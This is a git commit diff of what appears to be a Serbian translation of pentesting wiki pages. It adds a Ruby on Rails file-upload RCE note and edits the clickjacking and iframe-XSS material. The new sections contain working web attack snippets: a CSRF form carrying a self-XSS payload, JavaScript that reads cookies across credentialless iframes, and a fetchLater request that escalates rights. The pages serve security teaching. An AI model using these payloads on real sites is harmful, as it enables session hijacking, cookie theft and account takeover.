Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

This commit is contained in:
Translator 2025-06-15 15:14:01 +00:00
parent 4f6bda3615
commit af9e824527
4 changed files with 69 additions and 12 deletions

View File

@ -435,6 +435,7 @@
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)

View File

@ -0,0 +1,9 @@
# Ruby Tricks
{{#include ../../banners/hacktricks-training.md}}
## Učitavanje fajlova za RCE
Kao što je objašnjeno u [ovom članku](https://www.offsec.com/blog/cve-2024-46986/), učitavanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do daljinskog izvršavanja koda (RCE) u Ruby on Rails aplikacijama.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -92,7 +92,7 @@ background: #F00;
Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link.\
Primer:\
Pronašli ste **self XSS** u nekim privatnim podacima naloga (podaci koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih podataka je **ranjiva** na **Clickjacking** i možete **prepopuniti** **formu** sa GET parametrima.\
Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload-om** i **prevariti** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti su izmenjene, **korisnik će izvršiti XSS**.
Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload-om** i **varajući** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti su izmenjene, **korisnik će izvršiti XSS**.
### DoubleClickjacking
@ -119,7 +119,7 @@ Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje da spreče
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
- **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je on gornji prozor, npr.,
```html
<iframe
id="victim_website"
@ -132,11 +132,11 @@ sandbox="allow-forms allow-scripts"></iframe>
#### X-Frame-Options
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti renderovanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
- `X-Frame-Options: deny` - Nijedna domena ne može uokviriti sadržaj.
- `X-Frame-Options: sameorigin` - Samo trenutni sajt može uokviriti sadržaj.
- `X-Frame-Options: allow-from https://trusted.com` - Samo određeni 'uri' može uokviriti stranicu.
- `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može uokviriti stranicu.
- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
#### Content Security Policy (CSP) frame-ancestors direktiva
@ -155,7 +155,7 @@ Dalje informacije i složeni primeri mogu se naći u [frame-ancestors CSP dokume
### Content Security Policy (CSP) sa `child-src` i `frame-src`
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada sa injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcije koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
#### `frame-src` Direktiva
@ -191,7 +191,7 @@ top.location = self.location
```
#### Korišćenje Anti-CSRF Tokena
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno poslati od strane korisnika, a ne kroz Clickjacked stranicu.
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.
## Reference

View File

@ -45,13 +45,13 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skripti biti izvršeni (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframovi if2 i if3 (koji se smatraju istim sajtom) mogu pristupiti tajni** u originalnom prozoru.\
Obratite pažnju da se if4 smatra da ima `null` poreklo.
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skripti biti izvršeni (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 i if3 (koji se smatraju istim sajtom) mogu pristupiti tajni** u originalnom prozoru.\
Obratite pažnju na to kako se if4 smatra da ima `null` poreklo.
### Iframes sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!NOTE]
> Molimo vas, obratite pažnju kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
> [!TIP]
> Molimo vas, obratite pažnju na to kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
`self` vrednost `script-src` neće dozvoliti izvršavanje JS koda koristeći `data:` protokol ili `srcdoc` atribut.\
Međutim, čak i `none` vrednost CSP-a će dozvoliti izvršavanje iframe-ova koji stavljaju URL (potpun ili samo putanju) u `src` atribut.\
@ -81,7 +81,7 @@ Međutim, **samo `if1` i `if2` skripte će biti izvršene, ali samo `if1` će mo
![](<../../images/image (372).png>)
Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom same-site JSONP krajnje tačke**.
Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom istog JSONP krajnjeg tačke**.
Možete testirati ovo sa sledećim scenarijom gde je kolačić ukraden čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj putem vašeg pregledača:
```python
@ -130,10 +130,57 @@ Kada se koristi, `sandbox` atribut nameće nekoliko ograničenja:
- Navigacija vrhunskim kontekstom pretraživanja sadržaja od strane samog sadržaja je sprečena.
- Funkcije koje se automatski aktiviraju, poput reprodukcije videa ili automatskog fokusiranja kontrola formi, su blokirane.
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmakom koje izuzimaju iframe od određenih ograničenja.
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmacima koje izuzimaju iframe od određenih ograničenja.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
### Credentialless iframes
Kao što je objašnjeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), `credentialless` oznaka u iframe-u se koristi za učitavanje stranice unutar iframe-a bez slanja kredencijala u zahtevu, dok se održava politika istog porekla (SOP) učitane stranice u iframe-u.
Ovo omogućava iframe-u da pristupi osetljivim informacijama iz drugog iframe-a u istom SOP-u učitanom na roditeljskoj stranici:
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
```
- Primer eksploatacije: Self-XSS + CSRF
U ovom napadu, napadač priprema zloćudnu veb stranicu sa 2 iframe-a:
- Iframe koji učitava stranicu žrtve sa `credentialless` oznakom sa CSRF-om koji pokreće XSS (Zamislite Self-XSS u korisničkom imenu korisnika):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Drugi iframe koji zapravo ima korisnika prijavljenog (bez `credentialless` oznake).
Zatim, iz XSS-a je moguće pristupiti drugom iframe-u jer imaju isti SOP i ukrasti kolačić, na primer izvršavanjem:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack
Kao što je navedeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` omogućava konfiguraciju zahteva koji će biti izvršen kasnije (nakon određenog vremena). Stoga, ovo se može zloupotrebiti da, na primer, prijavi žrtvu unutar napadačeve sesije (sa Self-XSS), postavi `fetchLater` zahtev (da promeni lozinku trenutnog korisnika, na primer) i odjavi se iz napadačeve sesije. Zatim, žrtva se prijavljuje u svoju sesiju i `fetchLater` zahtev će biti izvršen, menjajući lozinku žrtve na onu koju je postavio napadač.
Na ovaj način, čak i ako URL žrtve ne može biti učitan u iframe (zbog CSP-a ili drugih ograničenja), napadač i dalje može izvršiti zahtev u sesiji žrtve.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes u SOP
Proverite sledeće stranice: